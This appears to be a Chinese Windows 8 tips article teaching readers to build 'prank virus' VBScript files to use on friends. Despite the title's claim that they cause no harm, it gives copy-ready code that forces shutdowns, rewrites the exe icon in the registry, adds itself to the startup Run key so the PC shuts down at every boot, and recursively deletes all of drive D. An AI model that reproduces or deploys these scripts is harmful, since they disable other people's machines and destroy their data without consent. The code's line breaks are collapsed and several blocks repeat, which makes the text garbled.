怎么制作win8系统恶搞病毒?小趣味对系统没有伤害
作者:佚名 来源:雨林木风系统 2018-10-10 14:00:01
怎么制作win8系统恶搞病毒?小趣味对系统没有伤害?
在平时的生活工作中,大家偶尔会没有聊,因此就想搞点事情出来,或者有人想小报复朋友一下,于是有人就想制作vbs病毒,可是许多人不熟悉windows8如何制作vbs病毒,为此小编赶紧整理了制作vbs病毒教程,希望能借助这些刚兴趣的朋友,注意只是恶搞,不是蓄意报复,而且也不会对对方系统有损害
办法/步骤:
1、首先,点击记事本。

2、写入代码(整人级):
- 01'--------------------------------1-关不掉的窗口--------------------------------do while(1)MsgBox("哈哈,你关不掉我!")loop'--------------------------------------------------------------------------------'-----------------------------------2-写入“我是猪”--------------------------do while(a<>"我是猪")a=inputbox("快在下面的框里写入我是猪")if(a<>"我是猪") thenMsgBox("赶紧承认!!!")end ifloop'--------------------------------------------------------------------------------
复制代码
3、(中等):
- 01'--------------------------------3-直接关机------------------------------------dim wsset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe图片------------------------------------Dim operationRegistryset operationRegistry=wscript.Createobject("wscript.shell")operationRegistry.Regwrite "HKCR\exefile\DefaultIcon\","C:\windows\system32\imageres.dll,-2" '这里的C:\windows\system32\imageres.dll,-2可以改成任意路径'--------------------------------------------------------------------------------
复制代码
4、(破坏级)如果没有法恢复,不要怪我咯*_*:
- 01'------!!注意危险!! 5-开机一完毕就关机(计算机没有法使用) !!注意危险!!----------dim fsodim wsset fso=Createobject("scripting.Filesystemobject")set ws=Createobject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\software\Microsoft\windows\CurrentVersion\Run\"&f.name,f.pathset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=Createobject("wscript.shell")ws.Run "%Comspec% /c"&"RD /s /Q d:\",0,ture'--------------------------------------------------------------------------------
复制代码
如果代码有故障,没有法实现应有效果,请原谅。(一些vbs破坏性太强,我不敢实验)
5、保存:按下Ctrl+s快捷键,在跳出的窗口中选中文件类型:所有文件(*.*),在文件名处写入文件名,在文件名后面写入“.vbs”或“.vbe”,保存。
注意事项:
这些代码仅用于整人,不可以利用这些代码做违法的事情!
以上就是windows8如何制作vbs病毒的教程了,很简单吧,大家只需要新建记事本,以后粘贴文章的代码,最后保存为.vbs或者.vbe格式的文件便可。
- 01'------!!注意危险!! 5-开机一完毕就关机(计算机没有法使用) !!注意危险!!----------dim fsodim wsset fso=Createobject("scripting.Filesystemobject")set ws=Createobject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\software\Microsoft\windows\CurrentVersion\Run\"&f.name,f.pathset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=Createobject("wscript.shell")ws.Run "%Comspec% /c"&"RD /s /Q d:\",0,ture'--------------------------------------------------------------------------------
复制代码
- 01'--------------------------------3-直接关机------------------------------------dim wsset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe图片------------------------------------Dim operationRegistryset operationRegistry=wscript.Createobject("wscript.shell")operationRegistry.Regwrite "HKCR\exefile\DefaultIcon\","C:\windows\system32\imageres.dll,-2" '这里的C:\windows\system32\imageres.dll,-2可以改成任意路径'--------------------------------------------------------------------------------
复制代码
相关阅读
- 热门手游
- 最新手游
- 本类周排行
- 本类总排行
- 1win8系统没有法安装Flash插件提示证书验证失败如何办
- 2电脑快捷键大全|电脑快捷键使用大全
- 3怎么关闭win8系统的错误报告
- 4win8序列号(可激活windows8所有版本的产品密钥)
- 5win8 ActiveX installer (AxinstSV)是什么服务可以禁止吗?
- 6win8系统点击GiF动画图标没有法显示如何办
- 7win8 dllhost.exe是什么进程?Dllhost.exe进程占用CPU或内存高如何办?
- 8win8系统regsvr32提示DLL不兼容及各种Dll不兼容的处理办法
- 9win8如何删除宽带连接?
- 10win8网页任何关闭所有网页就全关了,关闭提示如何找回?